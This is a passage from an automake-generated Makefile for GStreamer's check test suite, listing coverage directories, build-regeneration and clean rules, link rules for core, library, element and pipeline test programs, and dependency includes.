$(VALGRIND_IGNORE) \ $(VALGRIND_TO_FIX) # indexers does not get tested yet COVERAGE_DIRS = \ gst \ libs/gst/base \ libs/gst/controller \ libs/gst/check \ libs/gst/dataprotocol \ libs/gst/net \ plugins/elements COVERAGE_FILES = $(foreach dir,$(COVERAGE_DIRS),$(wildcard $(top_builddir)/$(dir)/*.gcov)) COVERAGE_FILES_REL = $(subst $(top_builddir)/,,$(COVERAGE_FILES)) COVERAGE_OUT_FILES = $(foreach dir,$(COVERAGE_DIRS),$(wildcard $(top_builddir)/$(dir)/*.gcov.out)) COVERAGE_OUT_FILES_REL = $(subst $(top_builddir)/,,$(COVERAGE_OUT_FILES)) all: all-am .SUFFIXES: .SUFFIXES: .c .lo .o .obj $(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am $(top_srcdir)/common/check.mak $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --gnu tests/check/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --gnu tests/check/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): clean-checkPROGRAMS: @list='$(check_PROGRAMS)'; test -n "$$list" || exit 0; \ echo " rm -f" $$list; \ rm -f $$list || exit $$?; \ test -n "$(EXEEXT)" || exit 0; \ list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \ echo " rm -f" $$list; \ rm -f $$list clean-noinstPROGRAMS: @list='$(noinst_PROGRAMS)'; test -n "$$list" || exit 0; \ echo " rm -f" $$list; \ rm -f $$list || exit $$?; \ test -n "$(EXEEXT)" || exit 0; \ list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \ echo " rm -f" $$list; \ rm -f $$list elements/$(am__dirstamp): @$(MKDIR_P) elements @: > elements/$(am__dirstamp) elements/capsfilter$(EXEEXT): $(elements_capsfilter_OBJECTS) $(elements_capsfilter_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/capsfilter$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elements_capsfilter_OBJECTS) $(elements_capsfilter_LDADD) $(LIBS) elements/fakesink$(EXEEXT): $(elements_fakesink_OBJECTS) $(elements_fakesink_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/fakesink$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elements_fakesink_OBJECTS) $(elements_fakesink_LDADD) $(LIBS) elements/fakesrc$(EXEEXT): $(elements_fakesrc_OBJECTS) $(elements_fakesrc_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/fakesrc$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elements_fakesrc_OBJECTS) $(elements_fakesrc_LDADD) $(LIBS) elements/fdsrc$(EXEEXT): $(elements_fdsrc_OBJECTS) $(elements_fdsrc_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/fdsrc$(EXEEXT) $(AM_V_CCLD)$(elements_fdsrc_LINK) $(elements_fdsrc_OBJECTS) $(elements_fdsrc_LDADD) $(LIBS) elements/filesink$(EXEEXT): $(elements_filesink_OBJECTS) $(elements_filesink_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/filesink$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elements_filesink_OBJECTS) $(elements_filesink_LDADD) $(LIBS) elements/filesrc$(EXEEXT): $(elements_filesrc_OBJECTS) $(elements_filesrc_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/filesrc$(EXEEXT) $(AM_V_CCLD)$(elements_filesrc_LINK) $(elements_filesrc_OBJECTS) $(elements_filesrc_LDADD) $(LIBS) elements/identity$(EXEEXT): $(elements_identity_OBJECTS) $(elements_identity_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/identity$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elements_identity_OBJECTS) $(elements_identity_LDADD) $(LIBS) elements/multiqueue$(EXEEXT): $(elements_multiqueue_OBJECTS) $(elements_multiqueue_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/multiqueue$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elements_multiqueue_OBJECTS) $(elements_multiqueue_LDADD) $(LIBS) elements/queue$(EXEEXT): $(elements_queue_OBJECTS) $(elements_queue_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/queue$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elements_queue_OBJECTS) $(elements_queue_LDADD) $(LIBS) elements/tee$(EXEEXT): $(elements_tee_OBJECTS) $(elements_tee_DEPENDENCIES) elements/$(am__dirstamp) @rm -f elements/tee$(EXEEXT) $(AM_V_CCLD)$(LINK) $(elements_tee_OBJECTS) $(elements_tee_LDADD) $(LIBS) generic/$(am__dirstamp): @$(MKDIR_P) generic @: > generic/$(am__dirstamp) generic/sinks$(EXEEXT): $(generic_sinks_OBJECTS) $(generic_sinks_DEPENDENCIES) generic/$(am__dirstamp) @rm -f generic/sinks$(EXEEXT) $(AM_V_CCLD)$(LINK) $(generic_sinks_OBJECTS) $(generic_sinks_LDADD) $(LIBS) generic/states$(EXEEXT): $(generic_states_OBJECTS) $(generic_states_DEPENDENCIES) generic/$(am__dirstamp) @rm -f generic/states$(EXEEXT) $(AM_V_CCLD)$(LINK) $(generic_states_OBJECTS) $(generic_states_LDADD) $(LIBS) gst/$(am__dirstamp): @$(MKDIR_P) gst @: > gst/$(am__dirstamp) gst/gst$(EXEEXT): $(gst_gst_OBJECTS) $(gst_gst_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gst$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gst_OBJECTS) $(gst_gst_LDADD) $(LIBS) gst/gstabi$(EXEEXT): $(gst_gstabi_OBJECTS) $(gst_gstabi_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstabi$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstabi_OBJECTS) $(gst_gstabi_LDADD) $(LIBS) gst/gstbin$(EXEEXT): $(gst_gstbin_OBJECTS) $(gst_gstbin_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstbin$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstbin_OBJECTS) $(gst_gstbin_LDADD) $(LIBS) gst/gstbuffer$(EXEEXT): $(gst_gstbuffer_OBJECTS) $(gst_gstbuffer_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstbuffer$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstbuffer_OBJECTS) $(gst_gstbuffer_LDADD) $(LIBS) gst/gstbufferlist$(EXEEXT): $(gst_gstbufferlist_OBJECTS) $(gst_gstbufferlist_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstbufferlist$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstbufferlist_OBJECTS) $(gst_gstbufferlist_LDADD) $(LIBS) gst/gstbus$(EXEEXT): $(gst_gstbus_OBJECTS) $(gst_gstbus_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstbus$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstbus_OBJECTS) $(gst_gstbus_LDADD) $(LIBS) gst/gstcaps$(EXEEXT): $(gst_gstcaps_OBJECTS) $(gst_gstcaps_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstcaps$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstcaps_OBJECTS) $(gst_gstcaps_LDADD) $(LIBS) gst/gstchildproxy$(EXEEXT): $(gst_gstchildproxy_OBJECTS) $(gst_gstchildproxy_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstchildproxy$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstchildproxy_OBJECTS) $(gst_gstchildproxy_LDADD) $(LIBS) gst/gstclock$(EXEEXT): $(gst_gstclock_OBJECTS) $(gst_gstclock_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstclock$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstclock_OBJECTS) $(gst_gstclock_LDADD) $(LIBS) gst/gstelement$(EXEEXT): $(gst_gstelement_OBJECTS) $(gst_gstelement_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstelement$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstelement_OBJECTS) $(gst_gstelement_LDADD) $(LIBS) gst/gstevent$(EXEEXT): $(gst_gstevent_OBJECTS) $(gst_gstevent_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstevent$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstevent_OBJECTS) $(gst_gstevent_LDADD) $(LIBS) gst/gstghostpad$(EXEEXT): $(gst_gstghostpad_OBJECTS) $(gst_gstghostpad_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstghostpad$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstghostpad_OBJECTS) $(gst_gstghostpad_LDADD) $(LIBS) gst/gstindex$(EXEEXT): $(gst_gstindex_OBJECTS) $(gst_gstindex_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstindex$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstindex_OBJECTS) $(gst_gstindex_LDADD) $(LIBS) gst/gstinfo$(EXEEXT): $(gst_gstinfo_OBJECTS) $(gst_gstinfo_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstinfo$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstinfo_OBJECTS) $(gst_gstinfo_LDADD) $(LIBS) gst/gstinterface$(EXEEXT): $(gst_gstinterface_OBJECTS) $(gst_gstinterface_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstinterface$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstinterface_OBJECTS) $(gst_gstinterface_LDADD) $(LIBS) gst/gstiterator$(EXEEXT): $(gst_gstiterator_OBJECTS) $(gst_gstiterator_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstiterator$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstiterator_OBJECTS) $(gst_gstiterator_LDADD) $(LIBS) gst/gstmessage$(EXEEXT): $(gst_gstmessage_OBJECTS) $(gst_gstmessage_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstmessage$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstmessage_OBJECTS) $(gst_gstmessage_LDADD) $(LIBS) gst/gstminiobject$(EXEEXT): $(gst_gstminiobject_OBJECTS) $(gst_gstminiobject_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstminiobject$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstminiobject_OBJECTS) $(gst_gstminiobject_LDADD) $(LIBS) gst/gstobject$(EXEEXT): $(gst_gstobject_OBJECTS) $(gst_gstobject_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstobject$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstobject_OBJECTS) $(gst_gstobject_LDADD) $(LIBS) gst/gstpad$(EXEEXT): $(gst_gstpad_OBJECTS) $(gst_gstpad_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstpad$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstpad_OBJECTS) $(gst_gstpad_LDADD) $(LIBS) gst/gstparamspecs$(EXEEXT): $(gst_gstparamspecs_OBJECTS) $(gst_gstparamspecs_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstparamspecs$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstparamspecs_OBJECTS) $(gst_gstparamspecs_LDADD) $(LIBS) gst/gstpipeline$(EXEEXT): $(gst_gstpipeline_OBJECTS) $(gst_gstpipeline_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstpipeline$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstpipeline_OBJECTS) $(gst_gstpipeline_LDADD) $(LIBS) gst/gstplugin$(EXEEXT): $(gst_gstplugin_OBJECTS) $(gst_gstplugin_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstplugin$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstplugin_OBJECTS) $(gst_gstplugin_LDADD) $(LIBS) gst/gstpoll$(EXEEXT): $(gst_gstpoll_OBJECTS) $(gst_gstpoll_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstpoll$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstpoll_OBJECTS) $(gst_gstpoll_LDADD) $(LIBS) gst/gstpreset$(EXEEXT): $(gst_gstpreset_OBJECTS) $(gst_gstpreset_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstpreset$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstpreset_OBJECTS) $(gst_gstpreset_LDADD) $(LIBS) gst/gstquery$(EXEEXT): $(gst_gstquery_OBJECTS) $(gst_gstquery_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstquery$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstquery_OBJECTS) $(gst_gstquery_LDADD) $(LIBS) gst/gstregistry$(EXEEXT): $(gst_gstregistry_OBJECTS) $(gst_gstregistry_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstregistry$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstregistry_OBJECTS) $(gst_gstregistry_LDADD) $(LIBS) gst/gstsegment$(EXEEXT): $(gst_gstsegment_OBJECTS) $(gst_gstsegment_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstsegment$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstsegment_OBJECTS) $(gst_gstsegment_LDADD) $(LIBS) gst/gststructure$(EXEEXT): $(gst_gststructure_OBJECTS) $(gst_gststructure_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gststructure$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gststructure_OBJECTS) $(gst_gststructure_LDADD) $(LIBS) gst/gstsystemclock$(EXEEXT): $(gst_gstsystemclock_OBJECTS) $(gst_gstsystemclock_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstsystemclock$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstsystemclock_OBJECTS) $(gst_gstsystemclock_LDADD) $(LIBS) gst/gsttag$(EXEEXT): $(gst_gsttag_OBJECTS) $(gst_gsttag_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gsttag$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gsttag_OBJECTS) $(gst_gsttag_LDADD) $(LIBS) gst/gsttagsetter$(EXEEXT): $(gst_gsttagsetter_OBJECTS) $(gst_gsttagsetter_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gsttagsetter$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gsttagsetter_OBJECTS) $(gst_gsttagsetter_LDADD) $(LIBS) gst/gsttask$(EXEEXT): $(gst_gsttask_OBJECTS) $(gst_gsttask_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gsttask$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gsttask_OBJECTS) $(gst_gsttask_LDADD) $(LIBS) gst/gsturi$(EXEEXT): $(gst_gsturi_OBJECTS) $(gst_gsturi_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gsturi$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gsturi_OBJECTS) $(gst_gsturi_LDADD) $(LIBS) gst/gstutils$(EXEEXT): $(gst_gstutils_OBJECTS) $(gst_gstutils_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstutils$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstutils_OBJECTS) $(gst_gstutils_LDADD) $(LIBS) gst/gstvalue$(EXEEXT): $(gst_gstvalue_OBJECTS) $(gst_gstvalue_DEPENDENCIES) gst/$(am__dirstamp) @rm -f gst/gstvalue$(EXEEXT) $(AM_V_CCLD)$(LINK) $(gst_gstvalue_OBJECTS) $(gst_gstvalue_LDADD) $(LIBS) libs/$(am__dirstamp): @$(MKDIR_P) libs @: > libs/$(am__dirstamp) libs/adapter$(EXEEXT): $(libs_adapter_OBJECTS) $(libs_adapter_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/adapter$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_adapter_OBJECTS) $(libs_adapter_LDADD) $(LIBS) libs/basesink$(EXEEXT): $(libs_basesink_OBJECTS) $(libs_basesink_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/basesink$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_basesink_OBJECTS) $(libs_basesink_LDADD) $(LIBS) libs/basesrc$(EXEEXT): $(libs_basesrc_OBJECTS) $(libs_basesrc_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/basesrc$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_basesrc_OBJECTS) $(libs_basesrc_LDADD) $(LIBS) libs/bitreader$(EXEEXT): $(libs_bitreader_OBJECTS) $(libs_bitreader_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/bitreader$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_bitreader_OBJECTS) $(libs_bitreader_LDADD) $(LIBS) libs/bytereader$(EXEEXT): $(libs_bytereader_OBJECTS) $(libs_bytereader_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/bytereader$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_bytereader_OBJECTS) $(libs_bytereader_LDADD) $(LIBS) libs/bytewriter$(EXEEXT): $(libs_bytewriter_OBJECTS) $(libs_bytewriter_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/bytewriter$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_bytewriter_OBJECTS) $(libs_bytewriter_LDADD) $(LIBS) libs/collectpads$(EXEEXT): $(libs_collectpads_OBJECTS) $(libs_collectpads_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/collectpads$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_collectpads_OBJECTS) $(libs_collectpads_LDADD) $(LIBS) libs/controller$(EXEEXT): $(libs_controller_OBJECTS) $(libs_controller_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/controller$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_controller_OBJECTS) $(libs_controller_LDADD) $(LIBS) libs/gdp$(EXEEXT): $(libs_gdp_OBJECTS) $(libs_gdp_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/gdp$(EXEEXT) $(AM_V_CCLD)$(libs_gdp_LINK) $(libs_gdp_OBJECTS) $(libs_gdp_LDADD) $(LIBS) libs/gstnetclientclock$(EXEEXT): $(libs_gstnetclientclock_OBJECTS) $(libs_gstnetclientclock_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/gstnetclientclock$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_gstnetclientclock_OBJECTS) $(libs_gstnetclientclock_LDADD) $(LIBS) libs/gstnettimeprovider$(EXEEXT): $(libs_gstnettimeprovider_OBJECTS) $(libs_gstnettimeprovider_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/gstnettimeprovider$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_gstnettimeprovider_OBJECTS) $(libs_gstnettimeprovider_LDADD) $(LIBS) libs/libsabi$(EXEEXT): $(libs_libsabi_OBJECTS) $(libs_libsabi_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/libsabi$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_libsabi_OBJECTS) $(libs_libsabi_LDADD) $(LIBS) libs/transform1$(EXEEXT): $(libs_transform1_OBJECTS) $(libs_transform1_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/transform1$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_transform1_OBJECTS) $(libs_transform1_LDADD) $(LIBS) libs/typefindhelper$(EXEEXT): $(libs_typefindhelper_OBJECTS) $(libs_typefindhelper_DEPENDENCIES) libs/$(am__dirstamp) @rm -f libs/typefindhelper$(EXEEXT) $(AM_V_CCLD)$(LINK) $(libs_typefindhelper_OBJECTS) $(libs_typefindhelper_LDADD) $(LIBS) pipelines/$(am__dirstamp): @$(MKDIR_P) pipelines @: > pipelines/$(am__dirstamp) pipelines/cleanup$(EXEEXT): $(pipelines_cleanup_OBJECTS) $(pipelines_cleanup_DEPENDENCIES) pipelines/$(am__dirstamp) @rm -f pipelines/cleanup$(EXEEXT) $(AM_V_CCLD)$(LINK) $(pipelines_cleanup_OBJECTS) $(pipelines_cleanup_LDADD) $(LIBS) pipelines/parse-disabled$(EXEEXT): $(pipelines_parse_disabled_OBJECTS) $(pipelines_parse_disabled_DEPENDENCIES) pipelines/$(am__dirstamp) @rm -f pipelines/parse-disabled$(EXEEXT) $(AM_V_CCLD)$(LINK) $(pipelines_parse_disabled_OBJECTS) $(pipelines_parse_disabled_LDADD) $(LIBS) pipelines/parse-launch$(EXEEXT): $(pipelines_parse_launch_OBJECTS) $(pipelines_parse_launch_DEPENDENCIES) pipelines/$(am__dirstamp) @rm -f pipelines/parse-launch$(EXEEXT) $(AM_V_CCLD)$(LINK) $(pipelines_parse_launch_OBJECTS) $(pipelines_parse_launch_LDADD) $(LIBS) pipelines/queue-error$(EXEEXT): $(pipelines_queue_error_OBJECTS) $(pipelines_queue_error_DEPENDENCIES) pipelines/$(am__dirstamp) @rm -f pipelines/queue-error$(EXEEXT) $(AM_V_CCLD)$(LINK) $(pipelines_queue_error_OBJECTS) $(pipelines_queue_error_LDADD) $(LIBS) pipelines/simple-launch-lines$(EXEEXT): $(pipelines_simple_launch_lines_OBJECTS) $(pipelines_simple_launch_lines_DEPENDENCIES) pipelines/$(am__dirstamp) @rm -f pipelines/simple-launch-lines$(EXEEXT) $(AM_V_CCLD)$(LINK) $(pipelines_simple_launch_lines_OBJECTS) $(pipelines_simple_launch_lines_LDADD) $(LIBS) pipelines/stress$(EXEEXT): $(pipelines_stress_OBJECTS) $(pipelines_stress_DEPENDENCIES) pipelines/$(am__dirstamp) @rm -f pipelines/stress$(EXEEXT) $(AM_V_CCLD)$(LINK) $(pipelines_stress_OBJECTS) $(pipelines_stress_LDADD) $(LIBS) mostlyclean-compile: -rm -f *.$(OBJEXT) distclean-compile: -rm -f *.tab.c @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/adapter.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/basesink.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/basesrc.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/bitreader.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/bytereader.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/bytewriter.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/capsfilter.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/cleanup.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/collectpads.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/controller.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/elements_fdsrc-fdsrc.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/elements_filesrc-filesrc.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/fakesink.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/fakesrc.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/filesink.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gst.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstabi.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstbin.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstbuffer.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstbufferlist.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstbus.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstcaps.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstchildproxy.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstclock.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstelement.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstevent.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstghostpad.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstindex.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstinfo.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstinterface.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstiterator.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstmessage.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstminiobject.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstnetclientclock.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstnettimeprovider.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstobject.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstpad.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstparamspecs.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstpipeline.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstplugin.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstpoll.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstpreset.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstquery.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstregistry.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstsegment.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gststructure.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstsystemclock.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gsttag.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gsttagsetter.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gsttask.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gsturi.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstutils.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/gstvalue.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/identity.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libs_gdp-gdp.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libsabi.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/multiqueue.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/parse-disabled.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/parse-launch.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/queue-error.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/queue.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/simple-launch-lines.Po@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/sinks.Po@am__quote@ 